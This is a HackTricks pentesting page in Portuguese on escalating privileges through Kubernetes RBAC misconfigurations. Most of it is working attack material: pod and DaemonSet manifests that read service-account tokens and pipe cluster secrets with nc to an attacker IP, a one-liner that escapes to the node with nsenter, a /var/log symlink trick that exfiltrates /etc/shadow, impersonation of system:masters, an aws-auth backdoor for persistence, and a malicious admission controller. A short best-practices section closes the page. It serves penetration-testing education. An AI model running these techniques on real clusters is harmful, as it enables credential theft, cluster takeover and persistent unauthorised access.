Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles. Lembre-se de que você pode obter todos os recursos suportados com kubectl api-resources

Escalada de Privilégios

Referindo-se à arte de obter acesso a um principal diferente dentro do cluster com privilégios diferentes (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente 4 técnicas principais para escalar privilégios:

  • Ser capaz de impersonar outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas

  • Ser capaz de criar/patch/exec pods onde você pode encontrar ou anexar SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas

  • Ser capaz de ler segredos já que os tokens SAs são armazenados como segredos

  • Ser capaz de escapar para o nó a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)

  • Uma quinta técnica que merece menção é a capacidade de executar port-forward em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.

Acessar Qualquer Recurso ou Verbo (Curinga)

O curinga (*) concede permissão sobre qualquer recurso com qualquer verbo. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acessar Qualquer Recurso com um verbo específico

No RBAC, certas permissões apresentam riscos significativos:

  1. create: Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios.

  2. list: Permite listar todos os recursos, potencialmente vazando dados sensíveis.

  3. get: Permite acessar segredos de contas de serviço, representando uma ameaça à segurança.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Um atacante com permissões para criar um pod poderia anexar uma Conta de Serviço privilegiada ao pod e roubar o token para se passar pela Conta de Serviço. Isso efetivamente eleva os privilégios.

Exemplo de um pod que irá roubar o token da conta de serviço bootstrap-signer e enviá-lo para o atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Criação e Escape de Pod

O seguinte indica todos os privilégios que um contêiner pode ter:

  • Acesso privilegiado (desativando proteções e configurando capacidades)

  • Desativar namespaces hostIPC e hostPid que podem ajudar a escalar privilégios

  • Desativar o namespace hostNetwork, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes

  • Montar hosts / dentro do contêiner

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crie o pod com:

kubectl --token $token create -f mount_root.yaml

One-liner do este tweet e com algumas adições:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Agora que você pode escapar para o nó, verifique as técnicas de pós-exploração em:

Stealth

Você provavelmente quer ser mais discreto, nas páginas seguintes você pode ver o que você seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Você pode encontrar exemplos de como criar/abusar das configurações de pods privilegiados anteriores em https://github.com/BishopFox/badPods

Pod Create - Mover para a nuvem

Se você pode criar um pod (e opcionalmente uma conta de serviço) você pode ser capaz de obter privilégios no ambiente de nuvem ao atribuir funções de nuvem a um pod ou a uma conta de serviço e então acessá-lo. Além disso, se você pode criar um pod com o namespace de rede do host, você pode roubar o IAM da função da instância do .

Para mais informações, verifique:

Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs

É possível abusar dessas permissões para criar um novo pod e estabelecer privilégios como no exemplo anterior.

O seguinte yaml cria um daemonset e exfiltra o token da SA dentro do pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec é um recurso no kubernetes usado para executar comandos em um shell dentro de um pod. Isso permite executar comandos dentro dos contêineres ou obter um shell dentro.

Portanto, é possível entrar em um pod e roubar o token do SA, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (ab)usar o nó:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Esta permissão permite encaminhar uma porta local para uma porta no pod especificado. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (webs?) dentro de um pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Como indicado nesta pesquisa, se você puder acessar ou criar um pod com o diretório /var/log/ do host montado nele, você pode escapar do contêiner. Isso acontece basicamente porque, quando a Kube-API tenta obter os logs de um contêiner (usando kubectl logs <pod>), ela solicita o arquivo 0.log do pod usando o endpoint /logs/ do serviço Kubelet. O serviço Kubelet expõe o endpoint /logs/, que basicamente expõe o sistema de arquivos /var/log do contêiner.

Portanto, um atacante com acesso para escrever na pasta /var/log/ do contêiner poderia abusar desse comportamento de 2 maneiras:

  • Modificando o arquivo 0.log de seu contêiner (geralmente localizado em /var/logs/pods/namespace_pod_uid/container/0.log) para ser um symlink apontando para /etc/shadow, por exemplo. Então, você poderá exfiltrar o arquivo shadow do host fazendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se o atacante controla qualquer principal com as permissões para ler nodes/log, ele pode simplesmente criar um symlink em /host-mounted/var/log/sym para / e ao acessar https://<gateway>:10250/logs/sym/ ele listará o sistema de arquivos root do host (alterar o symlink pode fornecer acesso a arquivos).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Um laboratório e um exploit automatizado podem ser encontrados em https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Contornando a proteção readOnly

Se você tiver sorte e a capacidade altamente privilegiada CAP_SYS_ADMIN estiver disponível, você pode apenas remontar a pasta como rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Conforme declarado em esta pesquisa, é possível contornar a proteção:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Que tinha como objetivo prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Imitando contas privilegiadas

Com um privilégio de imitação de usuário, um atacante pode imitar uma conta privilegiada.

Basta usar o parâmetro --as=<username> no comando kubectl para imitar um usuário, ou --as-group=<group> para imitar um grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou use a API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listando Segredos

A permissão para listar segredos pode permitir que um atacante realmente leia os segredos acessando o endpoint da API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lendo um segredo – força bruta em IDs de token

Enquanto um atacante na posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de listar segredos, ainda existem vulnerabilidades. Contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o código-fonte.

O token é gerado a partir de um conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.

Solicitações de Assinatura de Certificado

Se você tiver os verbos create no recurso certificatesigningrequests (ou pelo menos em certificatesigningrequests/nodeClient). Você pode criar um novo CeSR de um novo nó.

De acordo com a documentação, é possível aprovar automaticamente essas solicitações, então, nesse caso, você não precisa de permissões extras. Se não, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em certificatesigningrequests/approval e approve em signers com resourceName <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Um exemplo de um papel com todas as permissões necessárias é:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Então, com o novo CSR do nó aprovado, você pode abusar das permissões especiais dos nós para roubar segredos e escalar privilégios.

No este post e neste aqui, a configuração do GKE K8s TLS Bootstrap é configurada com assinatura automática e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos. Se você tiver os privilégios mencionados, poderá fazer a mesma coisa. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um nó só pode acessar os segredos dos contêineres montados nele.

A maneira de contornar isso é apenas criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado (mas apenas verifique como fazer isso no primeiro post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Os principais que podem modificar configmaps no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o aws-auth configmap. Os verbos necessários são update e patch, ou create se o configmap não foi criado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Você pode usar aws-auth para persistência dando acesso a usuários de outras contas.

No entanto, aws --profile other_account eks update-kubeconfig --name <cluster-name> não funciona de uma conta diferente. Mas na verdade aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona se você colocar o ARN do cluster em vez de apenas o nome. Para fazer kubectl funcionar, apenas certifique-se de configurar o kubeconfig da vítima e nos argumentos de execução da aws adicione --profile other_account_role para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS.

Escalando no GKE

Existem 2 maneiras de atribuir permissões K8s a principais do GCP. Em qualquer caso, o principal também precisa da permissão container.clusters.get para poder coletar credenciais para acessar o cluster, ou você precisará gerar seu próprio arquivo de configuração kubectl (siga o próximo link).

Ao falar com o endpoint da API K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API K8s, primeiro verificará se o principal (por e-mail) tem algum acesso dentro do cluster, depois verificará se ele tem algum acesso via GCP IAM. Se qualquer um desses for verdadeiro, ele será respondido. Se não, um erro sugerindo dar permissões via GCP IAM será fornecido.

Então, o primeiro método é usar GCP IAM, as permissões K8s têm suas permissões equivalentes do GCP IAM, e se o principal as tiver, poderá usá-las.

O segundo método é atribuir permissões K8s dentro do cluster identificando o usuário pelo seu e-mail (contas de serviço do GCP incluídas).

Criar token de serviceaccounts

Principais que podem criar TokenRequests (serviceaccounts/token) ao falar com o endpoint da API K8s SAs (informações de aqui).

ephemeralcontainers

Principais que podem atualizar ou patch pods/ephemeralcontainers podem ganhar execução de código em outros pods, e potencialmente sair para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.

ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

Principais com qualquer um dos verbos create, update ou patch sobre validatingwebhookconfigurations ou mutatingwebhookconfigurations podem ser capazes de criar uma dessas webhookconfigurations para poder escalar privilégios.

Para um exemplo de mutatingwebhookconfigurations, verifique esta seção deste post.

Escalar

Como você pode ler na próxima seção: Prevenção de Escalação de Privilégios Integrada, um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o verbo escalate sobre roles ou clusterroles. Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui.

Proxy de Nós

Principais com acesso ao sub-recurso nodes/proxy podem executar código em pods via a API Kubelet (de acordo com isso). Mais informações sobre autenticação Kubelet nesta página:

Você tem um exemplo de como obter RCE falando autorizado para uma API Kubelet aqui.

Deletar pods + nós não agendáveis

Principais que podem deletar pods (verbo delete sobre o recurso pods), ou evictar pods (verbo create sobre o recurso pods/eviction), ou mudar o status do pod (acesso a pods/status) e podem tornar outros nós não agendáveis (acesso a nodes/status) ou deletar nós (verbo delete sobre o recurso nodes) e têm controle sobre um pod, poderiam roubar pods de outros nós para que sejam executados no nó comprometido e o atacante possa roubar os tokens desses pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status dos serviços (CVE-2020-8554)

Princípios que podem modificar services/status podem definir o campo status.loadBalancer.ingress.ip para explorar a CVE-2020-8554 não corrigida e lançar ataques MiTM contra o cluster. A maioria das mitig ações para a CVE-2020-8554 apenas impede serviços ExternalIP (de acordo com isso).

Status de Nós e Pods

Princípios com permissões update ou patch sobre nodes/status ou pods/status, poderiam modificar rótulos para afetar as restrições de agendamento aplicadas.

Prevenção de Escalação de Privilégios Integrada

Kubernetes possui um mecanismo integrado para prevenir a escalação de privilégios.

Este sistema garante que os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.

A regra estipula que um usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.

Há uma exceção à regra anterior. Se um princípio tem o verbo escalate sobre roles ou clusterroles, ele pode aumentar os privilégios de funções e clusterroles mesmo sem ter as permissões.

Obter & Patch RoleBindings/ClusterRoleBindings

Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.

O privilégio de criar Rolebindings permite que um usuário vincule funções a uma conta de serviço. Esse privilégio pode potencialmente levar à escalação de privilégios porque permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.

Outros Ataques

Aplicativo proxy Sidecar

Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.

Criar um aplicativo proxy Sidecar

Crie seu .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edite seu .yaml e adicione as linhas descomentadas:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Veja os logs do proxy:

kubectl logs app -C proxy

Mais informações em: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de Admissão Malicioso

Um controlador de admissão intercepta solicitações ao servidor API do Kubernetes antes da persistência do objeto, mas após a solicitação ser autenticada e autorizada.

Se um atacante conseguir injetar um Controlador de Admissão de Mutação, ele poderá modificar solicitações já autenticadas. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster.

Exemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifique o status para ver se está pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Então, implante um novo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando você pode ver o erro ErrImagePull, verifique o nome da imagem com uma das consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Como você pode ver na imagem acima, tentamos executar a imagem nginx, mas a imagem final executada é rewanthtammana/malicious-image. O que acabou de acontecer!!?

Technicalities

O script ./deploy.sh estabelece um controlador de admissão de webhook mutável, que modifica as solicitações para a API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

O trecho acima substitui a primeira imagem do contêiner em cada pod por rewanthtammana/malicious-image.

Bypass do OPA Gatekeeper

Melhores Práticas

Desabilitando o Automontagem de Tokens de Conta de Serviço

  • Pods e Contas de Serviço: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite a desativação desse recurso de automontagem.

  • Como Aplicar: Defina automountServiceAccountToken: false na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.

Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings

  • Inclusão Seletiva: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.

Papéis Específicos de Namespace em vez de Papéis de Cluster

  • Papéis vs. ClusterRoles: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em todo o cluster. Essa abordagem oferece um controle mais fino e limita o escopo das permissões.

Use ferramentas automatizadas

Referências

Support HackTricks

Last updated